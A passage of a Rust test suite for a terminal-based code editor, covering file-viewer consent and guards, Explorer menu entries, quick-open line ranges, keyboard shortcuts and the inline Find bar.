/// could not find.
#[test]
fn a_vanished_viewer_is_reported_from_the_menu_and_the_consent_prompt() {
    use crate::widgets::input_prompt::{InputPrompt, InputPurpose};
    let tmp = tempfile::tempdir().unwrap();
    let data = tmp.path().join("data.csv");
    std::fs::write(&data, "a,b\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let before = app.terminals.len();
    let key = format!("vanished-ext-{}/csvlens", std::process::id());
    app.status.clear();
    app.dispatch_menu_action(
        MenuAction::OpenInViewer(key.clone(), data.clone()),
        tmp.path().to_path_buf(),
    );
    assert_eq!(app.terminals.len(), before, "the menu click spawns nothing");
    assert!(
        app.status.contains("no longer"),
        "the click says the viewer is gone: {:?}",
        app.status
    );
    app.status.clear();
    app.open_input_prompt(
        InputPrompt::new(
            InputPurpose::ViewerConsent {
                key: key.clone(),
                path: data,
            },
            "Allow",
            "",
        )
        .with_value("allow"),
    );
    app.submit_input_prompt();
    assert!(app.input_prompt.is_none(), "the prompt closes");
    assert_eq!(app.terminals.len(), before, "allowing spawns nothing");
    assert!(
        app.status.contains("no longer"),
        "allowing says the viewer is gone: {:?}",
        app.status
    );
    assert!(
        !app.consented_extensions
            .iter()
            .any(|e| key.starts_with(e.as_str())),
        "no consent is recorded for a viewer that could not be found"
    );
}

/// #465: the palette row reaches the viewer route (not the MCP command path)
/// and guards on the active file before anything is spawned.
#[test]
fn a_viewer_palette_row_guards_on_the_active_file() {
    let tmp = tempfile::tempdir().unwrap();
    let notes = tmp.path().join("notes.md");
    let data = tmp.path().join("data.csv");
    std::fs::write(&notes, "# hi\n").unwrap();
    std::fs::write(&data, "a,b\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.consented_extensions.insert("csvlens".into());
    // The `viewer:` prefix is routed before the MCP lookup: an unknown viewer
    // is reported as a viewer, not as an extension command.
    app.run_extension_command("viewer:nope");
    assert_eq!(app.status, "Viewer 'nope' is unavailable");

    let viewer = crate::mcp::registry::ContributedViewer {
        ext_id: "csvlens".into(),
        id: "csvlens".into(),
        label: "Open in csvlens".into(),
        command: "/bin/sh".into(),
        args: vec!["-c".into(), "sleep 30".into()],
        extensions: vec!["csv".into(), "tsv".into()],
        provision: None,
    };
    let before = app.terminals.len();
    app.editor.path = None;
    app.open_active_file_in_viewer(&viewer);
    assert_eq!(app.status, "Open in csvlens: open a file first");
    app.editor.open(&notes).unwrap();
    app.open_active_file_in_viewer(&viewer);
    assert_eq!(
        app.status,
        "Open in csvlens: the active file is not one of .csv / .tsv"
    );
    assert_eq!(app.terminals.len(), before, "a guard spawns nothing");
    app.editor.open(&data).unwrap();
    app.open_active_file_in_viewer(&viewer);
    assert_eq!(
        app.terminals.len(),
        before + 1,
        "a matching file opens in a pane"
    );
}

/// #465: the Explorer menu offers the viewer for a single file it handles,
/// after Rename and before the compare entries, and for nothing else.
#[test]
fn the_explorer_menu_offers_a_viewer_for_a_single_matching_file_only() {
    let tmp = tempfile::tempdir().unwrap();
    let csv = tmp.path().join("data.csv");
    let md = tmp.path().join("notes.md");
    std::fs::write(&csv, "a,b\n").unwrap();
    std::fs::write(&md, "# hi\n").unwrap();
    let viewer_for = |file: &Path| {
        (file.extension().and_then(|e| e.to_str()) == Some("csv"))
            .then(|| (String::from("Open in csvlens"), String::from("csvlens")))
    };
    let target = tmp.path().to_path_buf();

    let n = file_node(&csv);
    let items = build_tree_context_menu_items_with(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&csv),
        &target,
        None,
        None,
        viewer_for,
    );
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    let at = labels
        .iter()
        .position(|l| *l == "Open in csvlens")
        .expect("a csv gets the viewer entry");
    assert_eq!(labels[at - 1], "Rename", "it follows Rename");
    assert!(
        matches!(&items[at].1, MenuAction::OpenInViewer(id, p) if id == "csvlens" && p == &csv)
    );

    let n = file_node(&md);
    let items = build_tree_context_menu_items_with(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&md),
        &target,
        None,
        None,
        viewer_for,
    );
    assert!(
        !items.iter().any(|(l, _)| l == "Open in csvlens"),
        "a kind no viewer handles gets no entry"
    );

    // A multi-selection is not one file, so no viewer entry either.
    let n = file_node(&csv);
    let both = vec![csv.clone(), md.clone()];
    let items = build_tree_context_menu_items_with(
        Some(&n),
        tmp.path(),
        &both,
        &target,
        None,
        None,
        viewer_for,
    );
    assert!(
        !items.iter().any(|(l, _)| l == "Open in csvlens"),
        "a multi-selection gets no viewer entry"
    );
}

#[test]
fn quick_open_with_a_line_range_lands_on_the_line_and_selects_the_range() {
    // #472: `alpha:236-239` in Cmd+P must still find alpha.rs, and Enter
    // must land on line 236 with 236-239 selected so the range reads as
    // highlighted. `alpha:12` lands on the line with nothing selected.
    let tmp = tempfile::tempdir().unwrap();
    let body: String = (1..=300).map(|i| format!("line {i}\n")).collect();
    std::fs::write(tmp.path().join("alpha.rs"), &body).unwrap();
    std::fs::write(tmp.path().join("beta.rs"), "fn b() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let type_and_enter = |app: &mut App, text: &str| {
        app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
            .unwrap();
        for c in text.chars() {
            app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
                .unwrap();
        }
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
    };

    type_and_enter(&mut app, "alpha:236-239");
    assert!(app.file_finder.is_none(), "Enter closes the modal");
    assert_eq!(
        app.editor
            .path
            .as_deref()
            .and_then(|p| p.file_name())
            .and_then(|n| n.to_str()),
        Some("alpha.rs"),
        "the file part of the query is what gets opened"
    );
    let sel = app
        .editor
        .selection
        .expect("the range is selected so it reads as highlighted");
    let ((r0, c0), (r1, _)) = sel.normalised();
    assert_eq!(
        (r0, c0),
        (235, 0),
        "the selection starts at the top of line 236"
    );
    assert_eq!(r1, 238, "and reaches line 239");
    // The cursor sits at the selection's HEAD, as every other
    // selection-installing path leaves it, and the head is the landing line
    // (the anchor is the far end), so the line the user asked for is the one
    // on screen and Shift+motion extends from it.
    assert_eq!(
        (app.editor.cursor_row, app.editor.cursor_col),
        sel.head,
        "the cursor is at the head of the range"
    );
    assert_eq!(
        app.editor.cursor_row, 235,
        "and the head is the landing line"
    );
    assert!(
        app.status.ends_with("alpha.rs:236-239"),
        "the status names the range: {:?}",
        app.status
    );
    app.handle_key(key(KeyCode::Up, KeyModifiers::SHIFT))
        .unwrap();
    let ((r0, _), (r1, _)) = app.editor.selection.expect("still selected").normalised();
    assert_eq!(
        (r0, r1),
        (234, 238),
        "Shift+Up extends the range from the landing line"
    );
    let page = app.editor.page_size().max(1);
    assert!(
        app.editor.scroll <= 235 && 235 < app.editor.scroll + page,
        "the landing line is on screen: scroll={} page={page}",
        app.editor.scroll
    );

    // A pick with no hint replaces the range a hinted pick left: quick open
    // never installed a selection before hints existed, so a bare `alpha`
    // must not re-show one the user did not just ask for.
    // Extended by hand, the range is the user's now and a re-pick keeps it;
    // a freshly installed one is cleared by the next pick.
    let extended = app.editor.selection;
    type_and_enter(&mut app, "alpha");
    assert_eq!(
        app.editor.selection, extended,
        "a range the user extended survives an unhinted re-pick"
    );
    type_and_enter(&mut app, "alpha:236-239");
    type_and_enter(&mut app, "alpha");
    assert!(
        app.editor.selection.is_none(),
        "an unhinted pick clears the range a hinted pick left"
    );
    // A saturated line number goes through the open path like any other
    // out-of-range line: it lands on the last line and the status reports
    // the line landed on, never the sentinel.
    type_and_enter(&mut app, "alpha:99999999999999999999");
    assert_eq!(
        app.editor.cursor_row, 299,
        "a saturated line lands on the last line"
    );
    assert!(
        app.status.ends_with("alpha.rs:300"),
        "the status names the landed line, not the typed one: {:?}",
        app.status
    );
    // Both ends of a range are clamped the same way.
    type_and_enter(&mut app, "alpha:280-99999999999999999999");
    assert!(
        app.status.ends_with("alpha.rs:280-300"),
        "both ends of the range are clamped to the file: {:?}",
        app.status
    );
    // A selection the user made by hand is theirs: an unhinted pick of the
    // file already in front of them does not take it away. Only a range a
    // hinted pick installed is cleared by the next pick.
    let mine = crate::widgets::editor::EditorSelection {
        anchor: (10, 0),
        head: (11, 3),
    };
    app.editor.selection = Some(mine);
    type_and_enter(&mut app, "alpha");
    assert_eq!(
        app.editor.selection,
        Some(mine),
        "an unhinted re-pick keeps a selection the user made"
    );
    // Stale secondary carets do not survive a pick: the next keystroke
    // would otherwise edit at every one of them.
    app.editor.cursor_row = 5;
    app.editor.add_cursor_below();
    assert!(
        app.editor.has_multi_cursor(),
        "fixture: a second caret exists"
    );
    type_and_enter(&mut app, "alpha:236-239");
    assert!(
        !app.editor.has_multi_cursor(),
        "a pick collapses the carets along with the selection"
    );
    // A zero column (0-based tool output) keeps the line and drops the
    // column, as the terminal's path:line:col parser does.
    type_and_enter(&mut app, "alpha:236:0");
    assert_eq!(
        (app.editor.cursor_row, app.editor.cursor_col),
        (235, 0),
        "`:236:0` lands on line 236 at the start"
    );

    type_and_enter(&mut app, "alpha:12");
    assert_eq!(
        app.editor.cursor_row, 11,
        "a single line lands on that line"
    );
    assert!(
        app.editor.selection.is_none(),
        "a single line is a place to land, not a range to select"
    );
    assert!(
        app.status.ends_with("alpha.rs:12"),
        "the status names the line: {:?}",
        app.status
    );

    type_and_enter(&mut app, "alpha:5000");
    assert_eq!(
        app.editor.cursor_row, 299,
        "a line past the end lands on the last line"
    );

    // A range taller than the viewport still shows the landing line after a
    // paint: the paint-time clamp follows the cursor, so the cursor must be
    // on that line. Painted first so the page size is the real one.
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    type_and_enter(&mut app, "alpha:100-200");
    term.draw(|f| app.render(f)).unwrap();
    let page = app.editor.page_size().max(1);
    assert!(
        app.editor.scroll <= 99 && 99 < app.editor.scroll + page,
        "line 100 is on screen after the paint: scroll={} page={page}",
        app.editor.scroll
    );
    let ((r0, _), (r1, _)) = app
        .editor
        .selection
        .expect("the tall range is selected")
        .normalised();
    assert_eq!((r0, r1), (99, 199));

    type_and_enter(&mut app, "alpha:236:7");
    assert_eq!(
        (app.editor.cursor_row, app.editor.cursor_col),
        (235, 6),
        "`:line:col` lands on the column too"
    );

    // The click path goes through the same open, so a clicked row honours
    // the hint as Enter does.
    use crossterm::event::{MouseButton, MouseEventKind};
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    for c in "alpha:40".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let finder = app.file_finder.as_ref().unwrap();
    assert_eq!(
        finder.results.len(),
        1,
        "the file part alone matches alpha.rs"
    );
    // The list body starts three rows below the popup top (border, prompt,
    // separator); row 0 is the only result.
    let (col, row) = (finder.last_rect.x + 4, finder.last_rect.y + 3);
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(app.file_finder.is_none(), "the click confirms the pick");
    assert_eq!(
        app.editor.cursor_row, 39,
        "a clicked row lands on the hinted line"
    );
}

#[test]
fn down_arrow_moves_selection_in_the_file_finder() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a1.rs"), "").unwrap();
    std::fs::write(tmp.path().join("a2.rs"), "").unwrap();
    std::fs::write(tmp.path().join("a3.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    let before = app.file_finder.as_ref().unwrap().selected_index();
    app.handle_key(key(KeyCode::Down, KeyModifiers::NONE))
        .unwrap();
    let after = app.file_finder.as_ref().unwrap().selected_index();
    assert_eq!(
        after,
        before + 1,
        "Down arrow must move the selection cursor one row"
    );
}

#[test]
fn backspace_removes_a_character_from_the_finder_query() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.file_finder.as_ref().unwrap().query, "a");
}

#[test]
fn opening_the_file_finder_arms_one_image_clear_so_iterm_evicts_cached_osc_1337_cells() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.consume_file_finder_image_clear(),
        "Cmd+P must arm terminal.clear() so iTerm2's image cache (activity bar icons, welcome wordmark, editor preview) is wiped before the modal paints, otherwise those cached image cells bleed through the file list"
    );
    assert!(
        !app.consume_file_finder_image_clear(),
        "the flag is one-shot — a second consume call must return false so the driver does not re-clear every frame"
    );
}

#[test]
fn cmd_shift_e_jumps_to_explorer_from_any_pane() {
    let mut app = editor_app_with_lines(&["x"]);
    app.set_sidebar_view(SidebarView::Search);
    app.show_tree = false;
    app.handle_key(key(
        KeyCode::Char('e'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(app.sidebar_view, SidebarView::Explorer);
    assert!(
        app.show_tree,
        "Cmd+Shift+E must un-collapse the sidebar if it was hidden"
    );
}

#[test]
fn cmd_b_and_ctrl_b_toggle_the_primary_side_bar() {
    // VS Code's "Toggle Primary Side Bar" is Cmd+B on macOS (Ctrl+B on
    // Linux); croft accepts both so the chord behaves identically whether
    // iTerm2 forwards Cmd+B as a Super CSI-u sequence or a raw Ctrl+B byte
    // arrives over SSH. The sidebar starts visible.
    let mut app = editor_app_with_lines(&["x"]);
    assert!(app.show_tree, "sidebar starts visible");
    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::SUPER))
        .unwrap();
    assert!(!app.show_tree, "Cmd+B hides the side bar");
    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::SUPER))
        .unwrap();
    assert!(app.show_tree, "Cmd+B again shows it");
    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::CONTROL))
        .unwrap();
    assert!(!app.show_tree, "Ctrl+B toggles the same state");
}

#[test]
fn cmd_shift_s_jumps_to_source_control_even_when_editor_is_focused() {
    let mut app = editor_app_with_lines(&["x"]);
    app.focus_pane(Pane::Editor);
    app.handle_key(key(
        KeyCode::Char('s'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(
        app.sidebar_view,
        SidebarView::SourceControl,
        "Cmd+Shift+S must jump to Source Control even from the editor (no Save-As to collide with); Search stays on Cmd+Shift+F"
    );
    assert!(
        matches!(app.focus, Pane::Tree),
        "Cmd+Shift+S must move keyboard focus into the Source Control panel"
    );
}

#[test]
fn cmd_shift_d_jumps_to_run_and_debug_from_any_pane() {
    let mut app = editor_app_with_lines(&["x"]);
    app.focus_pane(Pane::Editor);
    app.handle_key(key(
        KeyCode::Char('d'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(app.sidebar_view, SidebarView::RunDebug);
}

#[test]
fn cmd_shift_r_jumps_to_remote_from_any_pane() {
    let mut app = editor_app_with_lines(&["x"]);
    app.focus_pane(Pane::Editor);
    app.handle_key(key(
        KeyCode::Char('r'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(app.sidebar_view, SidebarView::Remote);
}

#[test]
fn is_drop_to_local_key_matches_only_cmd_shift_l() {
    assert!(is_drop_to_local_key(key(
        KeyCode::Char('l'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(is_drop_to_local_key(key(
        KeyCode::Char('L'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT
    )));
    assert!(!is_drop_to_local_key(key(
        KeyCode::Char('l'),
        KeyModifiers::SUPER
    )));
    assert!(!is_drop_to_local_key(key(
        KeyCode::Char('q'),
        KeyModifiers::CONTROL
    )));
    assert!(!is_drop_to_local_key(key(
        KeyCode::Char('r'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
}

#[test]
fn cmd_shift_l_on_remote_requests_drop_to_local() {
    let mut app = editor_app_with_lines(&["x"]);
    app.is_remote = true;
    app.handle_key(key(
        KeyCode::Char('l'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        app.drop_to_local && app.quit,
        "Cmd+Shift+L on a remote-launched croft must request a clean hand-back to the local croft"
    );
}

#[test]
fn cmd_shift_l_on_local_is_inert() {
    let mut app = editor_app_with_lines(&["x"]);
    app.is_remote = false;
    app.handle_key(key(
        KeyCode::Char('l'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        !app.drop_to_local && !app.quit,
        "Cmd+Shift+L on a local croft must do nothing - there is no remote session to leave"
    );
}

#[test]
fn cmd_shift_t_focuses_the_terminal_pane_from_the_editor() {
    let mut app = editor_app_with_lines(&["x"]);
    app.focus_pane(Pane::Editor);
    app.handle_key(key(
        KeyCode::Char('t'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        matches!(app.focus, Pane::Terminal),
        "Cmd+Shift+T must move focus to the Terminal pane from the editor so the user can start typing in the shell without reaching for the mouse"
    );
}

#[test]
fn cmd_shift_t_focuses_the_terminal_pane_from_the_tree() {
    let mut app = editor_app_with_lines(&["x"]);
    app.focus_pane(Pane::Tree);
    app.handle_key(key(
        KeyCode::Char('t'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        matches!(app.focus, Pane::Terminal),
        "Cmd+Shift+T must move focus to the Terminal pane even when the Explorer is focused"
    );
}

#[test]
fn cmd_shift_t_unhides_the_terminal_if_it_was_collapsed() {
    let mut app = editor_app_with_lines(&["x"]);
    app.focus_pane(Pane::Editor);
    app.show_terminal = false;
    app.handle_key(key(
        KeyCode::Char('T'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        app.show_terminal,
        "Cmd+Shift+T must un-hide the terminal if it was collapsed (Ctrl+J) — otherwise the focus jump lands in a zero-row pane"
    );
    assert!(matches!(app.focus, Pane::Terminal));
}

#[test]
fn cmd_t_globally_splits_the_terminal_and_does_not_double_fire_as_focus() {
    let mut app = editor_app_with_lines(&["x"]);
    app.focus_pane(Pane::Editor);
    let before = app.terminals.len();
    app.handle_key(key(KeyCode::Char('t'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        app.terminals.len(),
        before + 1,
        "Cmd+T must split the terminal from any pane; Cmd+Shift+T (focus) must not steal the bare Cmd+T chord"
    );
    assert!(
        !is_terminal_split_key(key(
            KeyCode::Char('t'),
            KeyModifiers::SUPER | KeyModifiers::SHIFT
        )),
        "Cmd+Shift+T is focus, not split"
    );
    assert!(
        !is_terminal_split_key(key(
            KeyCode::Char('t'),
            KeyModifiers::SUPER | KeyModifiers::ALT
        )),
        "Cmd+Opt+T is iTerm2's relocated New Tab, not split"
    );
}

#[test]
fn ctrl_shift_t_still_splits_the_terminal_and_does_not_double_fire_as_focus() {
    let mut app = editor_app_with_lines(&["x"]);
    app.focus_pane(Pane::Editor);
    let before = app.terminals.len();
    app.handle_key(key(
        KeyCode::Char('t'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(
        app.terminals.len(),
        before + 1,
        "Ctrl+Shift+T must remain bound to split_terminal — the new Cmd+Shift+T focus chord must not steal it"
    );
}

#[test]
fn terminal_focus_key_predicate_accepts_cmd_shift_t_and_rejects_neighbours() {
    let cmd_shift = KeyModifiers::SUPER | KeyModifiers::SHIFT;
    assert!(is_terminal_focus_key(key(KeyCode::Char('t'), cmd_shift)));
    assert!(is_terminal_focus_key(key(KeyCode::Char('T'), cmd_shift)));
    assert!(
        !is_terminal_focus_key(key(KeyCode::Char('t'), KeyModifiers::SUPER)),
        "Cmd+T (no Shift) is the split/new-terminal chord, not focus; the focus chord requires Shift"
    );
    assert!(
        !is_terminal_focus_key(key(
            KeyCode::Char('t'),
            KeyModifiers::CONTROL | KeyModifiers::SHIFT
        )),
        "Ctrl+Shift+T must stay routed to is_terminal_split_key, not focus"
    );
    assert!(
        !is_terminal_focus_key(key(
            KeyCode::Char('t'),
            KeyModifiers::SUPER | KeyModifiers::SHIFT | KeyModifiers::ALT
        )),
        "Cmd+Opt+Shift+T must not focus — that chord is reserved (we relocate iTerm2's Restore Closed Session onto it)"
    );
}

#[test]
fn iterm2_image_drag_artefact_does_not_paste_its_path_into_the_editor() {
    // Root cause of the user's "Pasted 67 chars" surprise: when iTerm2
    // hijacks a click-drag on an OSC-1337 activity-bar icon, it writes
    // the decoded PNG to $TMPDIR/iTerm2.<rand>.png and re-injects the
    // path as a bracketed paste. parse_dropped_paths filters those
    // paths out of the IMPORT list, but without an early-return in
    // handle_paste the fallthrough would still insert the raw path
    // text into the focused editor.
    let mut app = editor_app_with_lines(&[""]);
    app.focus_pane(Pane::Editor);
    let tmp = tempfile::tempdir().unwrap();
    let temp_dir = tmp.path().join("T").join("com.googlecode.iterm2");
    std::fs::create_dir_all(&temp_dir).unwrap();
    let fake = temp_dir.join("iTerm2.5AO7K5.png");
    std::fs::write(&fake, b"\x89PNG\r\n\x1a\n").unwrap();
    let payload = format!("{}\n", fake.display());
    app.handle_paste(&payload);
    assert_eq!(
        app.editor.lines,
        vec![""],
        "iTerm2 inline-image drag artefact must be silently dropped at every level — the path string must NOT be pasted as text into the editor body (the user reported a CLAUDE.local.md tab opening with 'Pasted 67 chars' after trying to resize the sidebar near the Explorer icon)"
    );
}

#[test]
fn cmd_f_in_editor_opens_the_inline_find_overlay_not_the_new_file_prompt() {
    let mut app = editor_app_with_lines(&["alpha beta", "alpha gamma"]);
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.editor_find.is_some(),
        "Cmd+F with the editor focused must open the VS Code-style inline Find bar over the editor pane, not the Explorer 'new file' prompt"
    );
    assert!(
        app.prompt.is_none(),
        "Cmd+F in editor must NOT open the new-file Prompt — that is reserved for the Explorer pane"
    );
}

#[test]
fn cmd_f_in_explorer_still_opens_the_new_file_prompt() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Tree);
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.prompt.is_some(),
        "Cmd+F in the Explorer pane must keep creating a new file — the existing behaviour the user asked us to preserve"
    );
    assert!(
        app.editor_find.is_none(),
        "Cmd+F in the Explorer must NOT open the editor Find overlay; the chord is overloaded by pane"
    );
}

#[test]
fn cmd_shift_f_global_search_closes_the_local_editor_find_bar() {
    // With the in-file Find bar (Cmd+F) open, jumping to global Search
    // (Cmd+Shift+F) must dismiss the local bar. render_editor_find paints
    // whenever editor_find is Some regardless of focus, so a lingering bar
    // shadows the global search input on the left pane.
    let mut app = editor_app_with_lines(&["alpha beta", "alpha gamma"]);
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.editor_find.is_some(),
        "precondition: Cmd+F opens the inline editor Find bar"
    );
    app.handle_key(key(
        KeyCode::Char('f'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(
        app.sidebar_view,
        SidebarView::Search,
        "Cmd+Shift+F must switch the sidebar to global Search"
    );
    assert!(
        app.editor_find.is_none(),
        "Cmd+Shift+F must close the local editor Find bar so it cannot shadow the global search input"
    );
}

#[test]
fn typing_in_editor_find_jumps_the_cursor_to_the_next_match() {
    let mut app = editor_app_with_lines(&["alpha beta", "alpha gamma"]);
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('e'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('t'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        (app.editor.cursor_row, app.editor.cursor_col),
        (0, 6),
        "typing 'beta' must jump the cursor to the first 'beta' occurrence — got ({}, {})",
        app.editor.cursor_row,
        app.editor.cursor_col
    );
}

#[test]
fn enter_in_editor_find_jumps_to_the_next_match_and_shift_enter_walks_back() {
    let mut app = editor_app_with_lines(&["alpha", "beta alpha", "alpha"]);
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('l'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('h'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.cursor_row, 1,
        "Enter must jump to the next 'alpha' match on row 1"
    );
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.cursor_row, 2,
        "Enter again must walk forward to the row 2 match"
    );
    app.handle_key(key(KeyCode::Enter, KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(
        app.editor.cursor_row, 1,
        "Shift+Enter must walk back one match to row 1"
    );
}

#[test]
fn jumping_to_a_match_records_an_active_search_match_so_the_renderer_can_paint_it_orange() {
    let mut app = editor_app_with_lines(&["alpha beta alpha"]);
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('l'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('h'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::NONE))
        .unwrap();
    let first = app.editor.active_search_match;
    assert_eq!(
        first,
        Some((0, 0, 5)),
        "typing 'alpha' lands the cursor on the first match (col 0, len 5); active_search_match must record exactly that so the renderer can paint just those 5 cells orange while the other 'alpha' at col 11 keeps the regular yellow — got {first:?}"
    );
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    let second = app.editor.active_search_match;
    assert_eq!(
        second,
        Some((0, 11, 5)),
        "Enter walks to the next match at col 11; the active marker must follow so the previously-orange match resets to yellow and the new cursor row gets the orange band"
    );
}

#[test]
fn esc_closes_the_editor_find_overlay_and_clears_the_highlight() {
    let mut app = editor_app_with_lines(&["alpha"]);
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.search_highlight.is_some());
    assert!(
        app.editor.active_search_match.is_some(),
        "typing should land the cursor on a match and arm the active-match marker"
    );
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor_find.is_none(), "Esc must close the find bar");
    assert!(
        app.editor.search_highlight.is_none(),
        "Esc must clear the editor's match highlight so leftover dim cells don't survive into normal typing"
    );
    assert!(
        app.editor.active_search_match.is_none(),
        "Esc must also clear the active-match marker so the orange band does not survive the overlay closing"
    );
}

#[test]
fn editor_find_pre_fills_the_query_from_word_under_cursor_on_open() {
    let mut app = editor_app_with_lines(&["alphabet"]);
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        app.editor_find.as_ref().unwrap().query,
        "alpha",
        "opening Cmd+F with the cursor mid-word must pre-fill the query with the identifier chars to the left of the cursor, matching VS Code"
    );
}

#[test]
fn editor_find_paste_appends_clipboard_to_the_query() {
    let mut app = editor_app_with_lines(&["alpha needle beta"]);
    app.clipboard_reader = || Some(String::from("needle"));
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('v'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        app.editor_find.as_ref().unwrap().query,
        "needle",
        "Cmd+V inside the find bar must paste from the system clipboard"
    );
}

#[test]
fn picking_a_nested_file_via_cmd_p_expands_every_parent_dir_in_the_explorer_and_selects_the_row() {
    let tmp = tempfile::tempdir().unwrap();
    let nested_dir = tmp.path().join("packages").join("inner").join("citations");
    std::fs::create_dir_all(&nested_dir).unwrap();
    let target = nested_dir.join("storage.py");
    std::fs::write(&target, "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.last_inner.height = 20;
